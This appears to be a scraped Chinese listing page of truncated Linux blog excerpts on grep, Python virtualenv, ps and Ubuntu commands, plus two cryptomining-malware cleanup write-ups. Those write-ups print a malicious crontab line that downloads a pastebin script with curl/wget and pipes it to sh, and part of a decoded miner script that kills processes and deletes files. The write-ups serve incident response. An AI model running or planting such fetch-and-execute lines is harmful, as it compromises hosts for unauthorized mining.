grep

Linux三剑客之grep命令

早过忘川 提交于 2020-01-25 04:10:14
1、grep简介 grep (缩写来自Globally search a Regular Expression and Print)是一种强大的文本搜索工具,它能使用特定模式匹配(包括正则表达式)搜索文本,并默认输出匹配行。Unix的grep家族包括grep、egrep和fgrep。Windows系统下类似命令FINDSTR。 grep用来基于正则去实现行过滤的工具;它有很多衍生命令: egrep 扩展的grep,即默认使用扩展正则表达式的grep,更高级。 fgrep 专用于文件行过滤的工具。 2、grep的工作原理 grep命令在一个或多个文件中查找某个字符模式,如果这个模式中包含空格,就必须用引号把它括起来。grep命令中,模式可以是一个被引号括起来的字符串,也可以是单个词。位于模式之后的所有单词都被视为文件名。grep将输出发送到屏幕,它不会对输入文件进行任何修改或变化。grep返回的退出状态为0,表示成功。退出状态为1,表示没有找到。如果找不到指定的文件,退出状态为2。 3、grep命令的常用选项 -- color = auto 对匹配到的文本着色显示。 - v 显示不被pattern匹配到的行,反向查找。 - V 或 -- version : 显示版本信息。 - i 忽略字符大小写。 - n 显示匹配的行号 , 在显示符合样式的那一行之前,标示出该行的列数编号。 - o

linux 下创建虚拟环境 python , linux彻底删除nginx

寵の児 提交于 2020-01-24 16:17:55
linux 下创建虚拟环境 python virtualenv是一个可以在同一计算机中隔离多个python版本的工具。有时,两个不同的项目可能需要不同版本的python,如 python2.7 / python3.6 ,但是如果都装到一起,经常会导致问题。virtualenv能够用于创建独立的Python虚拟环境,多个Python相互独立,互不影响。 virtualenvwrapper这个软件包可以让我们管理虚拟环境变得更加简单。不用再跑到某个目录下通过virtualenv来创建虚拟环境,并且激活的时候也要跑到具体的目录下去激活。 下面介绍安装python虚拟环境的方法: 使用pip安装包前,先更新pip。 # pip3 install --upgrade pip 1. 安装virtualenv、virtualenvwrapper # pip3 install virtualenv # pip3 install virtualenvwrapper 2. 进入.bashrc文件中,定义virtualenvwrapper路径 使用vim编辑.bashrc文件 # vim ~/.bashrc 在文末填入以下代码并保存 VIRTUALENVWRAPPER_PYTHON=/usr/local/python3/bin/python3 #

ps+grep判断进程是否存在

≯℡__Kan透↙ 提交于 2020-01-24 05:00:09
如果知道进程号的话,直接去判断/proc/下查找对应进程号文件是否存在即可(见5),但是当进程号不知道,只知道进程名称的时候,可以用这个方法。 有时候,我们在线上查日志定位问题的时候,经常会使用cat xxxx.log |grep yyyy命令,如果grep的时候,想排除某些字段,那么可以如下操作: cat test.log | grep "login"|grep -v "deviceType" 上面的命令的意思是:找出test.log中包含 login 信息的,且没有 deviceType 这个字段的。 这个其实非常有用的,因为有些业务日志信息,就是以有没有传递某个字段,来做一些业务逻辑区分的。这个时候,就可以使用上面的命令来识别是哪些业务场景进来的。 1、grep xxx 同理,我们要判断进程是否存在时会用到ps,那么只想查看某个进程相关的,就可以用到 ps | grep mscore ~ # ps | grep mscore 5747 root 1:33 mscore -qws 6524 root 0:00 grep mscore 5747表示当前在运行的mscore进程, 6524表示grep的进程行 2、grep -v xxx 当我们不想看到6524这个干扰项的时候,我们可以把 grep 这个关键词过滤掉 因此可以使用 grep -v grep ~ # ps | grep

Grep into variable and maintain stdout?

浪子不回头ぞ 提交于 2020-01-24 00:53:07
问题 I've got a long running process and I want to capture a tiny bit of data from the big swath of output. I can do this by piping it through grep, but then I can't watch it spew out all the other info. I basically want grep to save what it finds into a variable and leave stdout alone. How can I do that? 回答1: With tee, process substitution, and redirection: { var=$(cmd | tee >(grep regexp) >&3); } 3>&1 Note that if grep exits before cmd (GNU grep provides some flags that might cause that, and you

Unix- Using Grep to get unmatched lines

不羁的心 提交于 2020-01-24 00:35:34
问题 I am new to unix. I want to grep the unmatched pattern from a file1 provided that the patterns are in the file2. The real files are having more than 1000 lines. Example: File1: Hi(Everyone) How(u)people(are)doing? ThanksInadvance File2: Hi(Every ThanksI Required Result: How(u)people(are)doing? I want only the pattern to be used like ("Hi(Every") for the grep.It should return the unmatched line from file1. 回答1: this line works for given example: grep -Fvf file2 file1 The 3 options used above:

Unix- Using Grep to get unmatched lines

给你一囗甜甜゛ 提交于 2020-01-24 00:35:06
问题 I am new to unix. I want to grep the unmatched pattern from a file1 provided that the patterns are in the file2. The real files are having more than 1000 lines. Example: File1: Hi(Everyone) How(u)people(are)doing? ThanksInadvance File2: Hi(Every ThanksI Required Result: How(u)people(are)doing? I want only the pattern to be used like ("Hi(Every") for the grep.It should return the unmatched line from file1. 回答1: this line works for given example: grep -Fvf file2 file1 The 3 options used above:

qW3xT.2,解决挖矿病毒

纵然是瞬间 提交于 2020-01-23 22:56:52
在阿里云使用redis,开启了6379端口,但是当时并没有对redis的密码进行设置。 在晚上一点左右。阿里云给我发短信,告诉我服务器出现紧急安全事件。建议登录云盾-态势感知控制台查看详情和处理。 于是早上开启电脑,连接服务器,使用top查看cpu状态。结果显示进程占用cpu99%以上。 在网上百度,了解到qW3xT.2是一个挖矿病毒。也就是说别人利用你的电脑挖矿。谋取利益。 解决办法: 1、首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis 2、进入/tmp文件夹下。发现qW3xT.2文件,删除。之后kill掉qW3xT.2该进程,但是一段时间之后,发现该行程又重新启动。 肯定是有守护进程,观察top命令下的进程,发现一个可疑的进行 3、在/tmp文件夹下发现该进程的文件 ls /tmp 发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。 4、一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表 [root@iZbp1cbg04oh74k1dexpujZ tmp]# crontab -l */15 * * * * curl -fsSL

记一次生产主机中挖矿病毒\"kintegrityds\"处理过程!

时光毁灭记忆、已成空白 提交于 2020-01-23 20:44:03
【记一次生产挖矿病毒处理过程】: 可能性:webaap用户密码泄露、Jenkins/redis弱口令等。 1、监控到生产主机一直load告警 2、进服务器 top查看进程,发现挖矿病毒进程,此进程持续消耗cpu,kill掉还会自动启动。 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds 3、查看crontab -l */10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh 4、分析定时任务: 浏览器打开:https://pastebin.com/raw/wDBa7jCQ 得到: (curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh xshell执行: [webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm

UBUNTU命令

蹲街弑〆低调 提交于 2020-01-23 13:28:03
本文来自互联网 查看软件xxx安装内容 dpkg -L xxx 查找软件库中的软件 apt-cache search 正则表达式 查找软件库中的软件 aptitude search 软件包 查找文件属于哪个包 dpkg -S filename 查找文件属于哪个包 apt-file search filename 查询软件xxx依赖哪些包 apt-cache depends xxx 查询软件xxx被哪些包依赖 apt-cache rdepends xxx 增加一个光盘源 sudo apt-cdrom add 系统升级 sudo apt-get update;sudo apt-get dist-upgrade 清除已删除包的残馀配置文件 dpkg -l |grep ^rc|awk ‘{print $2}’ |sudo xargs dpkg -P 编译时缺少h文件的自动处理 sudo auto-apt run ./configure 查看安装软件时下载包的临时存放目录 ls /var/cache/apt/archives 备份当前系统安装的所有包的列表 dpkg –get-selections | grep -v deinstall > ~/somefile 从备份的安装包的列表文件恢复所有包 dpkg –set-selections < ~/somefile;sudo dselect